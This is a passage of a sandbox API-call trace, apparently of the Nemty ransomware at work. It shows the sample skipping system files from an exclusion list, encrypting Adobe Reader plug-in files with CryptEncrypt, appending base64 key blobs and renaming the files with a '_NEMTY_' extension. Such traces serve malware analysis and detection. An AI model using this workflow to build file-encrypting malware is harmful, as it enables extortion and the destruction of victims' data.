GetLastError () returned 0x0 [0191.004] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.004] GetLastError () returned 0x0 [0191.004] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.004] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.005] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.005] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.005] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0191.005] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e29c | out: pszString="KxMUedqK2r8Ayjkh5cPm23p+NzWjBnZdt9ZTqK9/D+HRd/tutE87UgixCrtnkkAg\r\n/Gftix8aWCzVbJc//2beklJFHNVCFxabtbxzOVGiJqaiakY+dhzUGltFd7KrIN1S\r\n/vFmGPISpqsaVOsImNV6bgtaQmYNnAefxMQsuhPSrswPKUi5EybKGvCxzggaxBBL\r\nsdN7YpDg2U6wAG7C449vuslpnpahZZm+TMfGfLoPnRjGyBE5CnnVRvn2SW7WbI8r\r\niglfRb6ETHK27qF65C7Xsl45JaiTXrddVDycavdJerHmSz6Dt1HgddIYK1ah4CeF\r\nOZja0V+rxnTeHILuN4YaDA==\r\n", pcchString=0x653e29c) returned 1 [0191.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0191.005] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.005] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0191.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.005] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\MCIMPP.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.006] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=6656) returned 1 [0191.006] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1a00) returned 0x6352c48 [0191.006] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.006] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x1a00, lpOverlapped=0x0) returned 1 [0191.007] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.007] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x1a00, lpOverlapped=0x0) returned 1 [0191.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0191.008] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=6656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a00 [0191.008] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340260*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340260*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.008] CloseHandle (hObject=0x2f0) returned 1 [0191.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0191.008] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.008] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0191.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0191.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0191.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.008] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\MCIMPP.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\MCIMPP.CHT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.cht._nemty_kgobjgd_")) returned 1 [0191.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0191.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0191.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.009] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.009] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Mcimpp.DAN", cAlternateFileName="")) returned 1 [0191.009] lstrcmpiW (lpString1="Mcimpp.DAN", lpString2=".") returned 1 [0191.009] lstrcmpiW (lpString1="Mcimpp.DAN", lpString2="..") returned 1 [0191.009] lstrcmpiW (lpString1="Mcimpp.DAN", lpString2="...") returned 1 [0191.009] lstrcmpiW (lpString1="Mcimpp.DAN", lpString2="windows") returned -1 [0191.009] lstrcmpiW (lpString1="Mcimpp.DAN", lpString2="$RECYCLE.BIN") returned 1 [0191.009] lstrcmpiW (lpString1="Mcimpp.DAN", lpString2="rsa") returned -1 [0191.009] lstrcmpiW (lpString1="Mcimpp.DAN", lpString2="NTDETECT.COM") returned -1 [0191.009] lstrcmpiW (lpString1="Mcimpp.DAN", lpString2="ntldr") returned -1 [0191.009] lstrcmpiW (lpString1="Mcimpp.DAN", lpString2="MSDOS.SYS") returned -1 [0191.009] lstrcmpiW (lpString1="Mcimpp.DAN", lpString2="IO.SYS") returned 1 [0191.009] lstrcmpiW (lpString1="Mcimpp.DAN", lpString2="boot.ini") returned 1 [0191.009] lstrcmpiW (lpString1="Mcimpp.DAN", lpString2="boot.ini") returned 1 [0191.009] lstrcmpiW (lpString1="Mcimpp.DAN", lpString2="AUTOEXEC.BAT") returned 1 [0191.010] lstrcmpiW (lpString1="Mcimpp.DAN", lpString2="ntuser.dat") returned -1 [0191.010] lstrcmpiW (lpString1="Mcimpp.DAN", lpString2="desktop.ini") returned 1 [0191.010] lstrcmpiW (lpString1="Mcimpp.DAN", lpString2="CONFIG.SYS") returned 1 [0191.010] lstrcmpiW (lpString1="Mcimpp.DAN", lpString2="RECYCLER") returned -1 [0191.010] lstrcmpiW (lpString1="Mcimpp.DAN", lpString2="BOOTSECT.BAK") returned 1 [0191.010] lstrcmpiW (lpString1="Mcimpp.DAN", lpString2="bootmgr") returned 1 [0191.010] lstrcmpiW (lpString1="Mcimpp.DAN", lpString2="programdata") returned -1 [0191.010] lstrcmpiW (lpString1="Mcimpp.DAN", lpString2="appdata") returned 1 [0191.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.DAN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.DAN", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.DAN", lpUsedDefaultChar=0x0) returned 10 [0191.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.DAN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.DAN", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.DAN", lpUsedDefaultChar=0x0) returned 10 [0191.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.DAN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.DAN", cchWideChar=10, lpMultiByteStr=0x653e5a0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.DAN", lpUsedDefaultChar=0x0) returned 10 [0191.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.DAN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.010] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.DAN", cchWideChar=10, lpMultiByteStr=0x653e5d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.DAN", lpUsedDefaultChar=0x0) returned 10 [0191.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0191.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0191.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0191.010] Sleep (dwMilliseconds=0x5) [0191.020] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x2580e990, dwHighDateTime=0x1d561e8)) [0191.020] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x2580e990, dwHighDateTime=0x1d561e8)) [0191.020] GetLastError () returned 0x0 [0191.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.020] GetLastError () returned 0x0 [0191.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.020] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.020] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.020] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0191.021] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e29c | out: pszString="2mk16k8rPFAkDwFsJEHhYLQeJCL307jG7re75sNJHiIyEY7TkfjJKTEF1wIMwqNI\r\nmmb2uq99pngWQbYeWzgWJlbq1xYs5Xy7PMa4FvicDG+dJdMfcJHWHJvoScZ8sUnB\r\ny76NY6GqTimNPWvPUq0wq/2YRZkvBCIzDhSQ+bHvjQMqmWu8MpvW1LG1mIROu8iN\r\n3vOVHU3kPoLpkYAm88ZkwgA8l8oO0cjzf0Pm1Rh/icc+7U4llEXGaS96YF3HvvJg\r\naVSWR2ZgSsb90ER1c0m1cLpbTuj/vgyuWc/swwH6TQhuGZyffRA26F6dN/ObDuvr\r\nbOuYmORSb9zRTyTUrnNHBA==\r\n", pcchString=0x653e29c) returned 1 [0191.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0191.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0191.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.021] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.021] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=8192) returned 1 [0191.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2000) returned 0x6352c48 [0191.021] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.021] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x2000, lpOverlapped=0x0) returned 1 [0191.023] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.023] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x2000, lpOverlapped=0x0) returned 1 [0191.023] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0191.023] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2000 [0191.024] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340260*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340260*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.024] CloseHandle (hObject=0x2f0) returned 1 [0191.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0191.024] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.024] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0191.024] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0191.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0191.024] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.024] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.DAN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.dan._nemty_kgobjgd_")) returned 1 [0191.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0191.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0191.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0191.025] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d749580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Mcimpp.DEU", cAlternateFileName="")) returned 1 [0191.025] lstrcmpiW (lpString1="Mcimpp.DEU", lpString2=".") returned 1 [0191.025] lstrcmpiW (lpString1="Mcimpp.DEU", lpString2="..") returned 1 [0191.025] lstrcmpiW (lpString1="Mcimpp.DEU", lpString2="...") returned 1 [0191.025] lstrcmpiW (lpString1="Mcimpp.DEU", lpString2="windows") returned -1 [0191.025] lstrcmpiW (lpString1="Mcimpp.DEU", lpString2="$RECYCLE.BIN") returned 1 [0191.025] lstrcmpiW (lpString1="Mcimpp.DEU", lpString2="rsa") returned -1 [0191.025] lstrcmpiW (lpString1="Mcimpp.DEU", lpString2="NTDETECT.COM") returned -1 [0191.025] lstrcmpiW (lpString1="Mcimpp.DEU", lpString2="ntldr") returned -1 [0191.025] lstrcmpiW (lpString1="Mcimpp.DEU", lpString2="MSDOS.SYS") returned -1 [0191.025] lstrcmpiW (lpString1="Mcimpp.DEU", lpString2="IO.SYS") returned 1 [0191.025] lstrcmpiW (lpString1="Mcimpp.DEU", lpString2="boot.ini") returned 1 [0191.025] lstrcmpiW (lpString1="Mcimpp.DEU", lpString2="boot.ini") returned 1 [0191.025] lstrcmpiW (lpString1="Mcimpp.DEU", lpString2="AUTOEXEC.BAT") returned 1 [0191.025] lstrcmpiW (lpString1="Mcimpp.DEU", lpString2="ntuser.dat") returned -1 [0191.025] lstrcmpiW (lpString1="Mcimpp.DEU", lpString2="desktop.ini") returned 1 [0191.025] lstrcmpiW (lpString1="Mcimpp.DEU", lpString2="CONFIG.SYS") returned 1 [0191.025] lstrcmpiW (lpString1="Mcimpp.DEU", lpString2="RECYCLER") returned -1 [0191.025] lstrcmpiW (lpString1="Mcimpp.DEU", lpString2="BOOTSECT.BAK") returned 1 [0191.025] lstrcmpiW (lpString1="Mcimpp.DEU", lpString2="bootmgr") returned 1 [0191.025] lstrcmpiW (lpString1="Mcimpp.DEU", lpString2="programdata") returned -1 [0191.025] lstrcmpiW (lpString1="Mcimpp.DEU", lpString2="appdata") returned 1 [0191.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.026] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.DEU", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.026] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.DEU", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.DEU", lpUsedDefaultChar=0x0) returned 10 [0191.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.026] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.DEU", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.026] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.DEU", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.DEU", lpUsedDefaultChar=0x0) returned 10 [0191.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.026] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.DEU", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.026] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.DEU", cchWideChar=10, lpMultiByteStr=0x653e5a0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.DEU", lpUsedDefaultChar=0x0) returned 10 [0191.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.026] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.DEU", 